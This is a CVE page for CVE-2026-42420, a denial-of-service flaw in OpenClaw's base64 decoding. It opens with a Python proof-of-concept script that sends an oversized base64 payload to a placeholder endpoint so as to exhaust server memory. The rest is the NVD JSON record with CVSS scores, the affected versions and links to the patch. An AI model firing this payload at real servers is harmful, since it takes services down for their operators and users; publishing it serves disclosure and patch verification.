CVE-2026-42420

import requests import base64 def generate_exploit_payload(size_mb): """Generates a base64 payload that decodes to a large size.""" # Create a large block of data data = b'A' * (size_mb * 1024 * 1024) # Encode to base64 return base64.b64encode(data).decode('utf-8') def exploit(target_url, size_mb=100): """Sends the payload to the target OpenClaw instance.""" payload = generate_exploit_payload(size_mb) print(f"Generated payload with encoded length: {len(payload)}") # Assuming the vulnerable endpoint accepts a JSON body with a 'data' field # The specific endpoint depends on the OpenClaw implementation try: response = requests.post( target_url, json={"input": payload}, timeout=10 ) print(f"Server response status: {response.status_code}") except requests.exceptions.RequestException as e: print(f"Exploit likely successful (Server crashed or timed out): {e}") if __name__ == "__main__": # Replace with actual target endpoint TARGET = "http://vulnerable-openclaw-server/api/decode" exploit(TARGET)

{"cve": {"id": "CVE-2026-42420", "sourceIdentifier": "[email protected]", "published": "2026-04-28T19:37:45.680", "lastModified": "2026-04-30T14:04:43.353", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "OpenClaw before 2026.4.8 contains improper input validation in base64 decode paths that allocate memory before enforcing decoded-size limits. Attackers can exploit multiple code paths to cause memory exhaustion or denial of service through crafted base64-encoded input."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "LOW", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.8, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 6.5, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-770"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:openclaw:openclaw:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "2026.4.8", "matchCriteriaId": "37A0977C-2C03-4821-B459-0FD7E4A6635A"}]}]}], "references": [{"url": "https://github.com/openclaw/openclaw/commit/d7c3210cd6f5fdfdc1beff4c9541673e814354d5", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-ccx3-fw7q-rr2r", "source": "[email protected]", "tags": ["Vendor Advisory"]}, {"url": "https://www.vulncheck.com/advisories/openclaw-improper-base64-decoding-size-validation", "source": "[email protected]", "tags": ["Third Party Advisory"]}]}}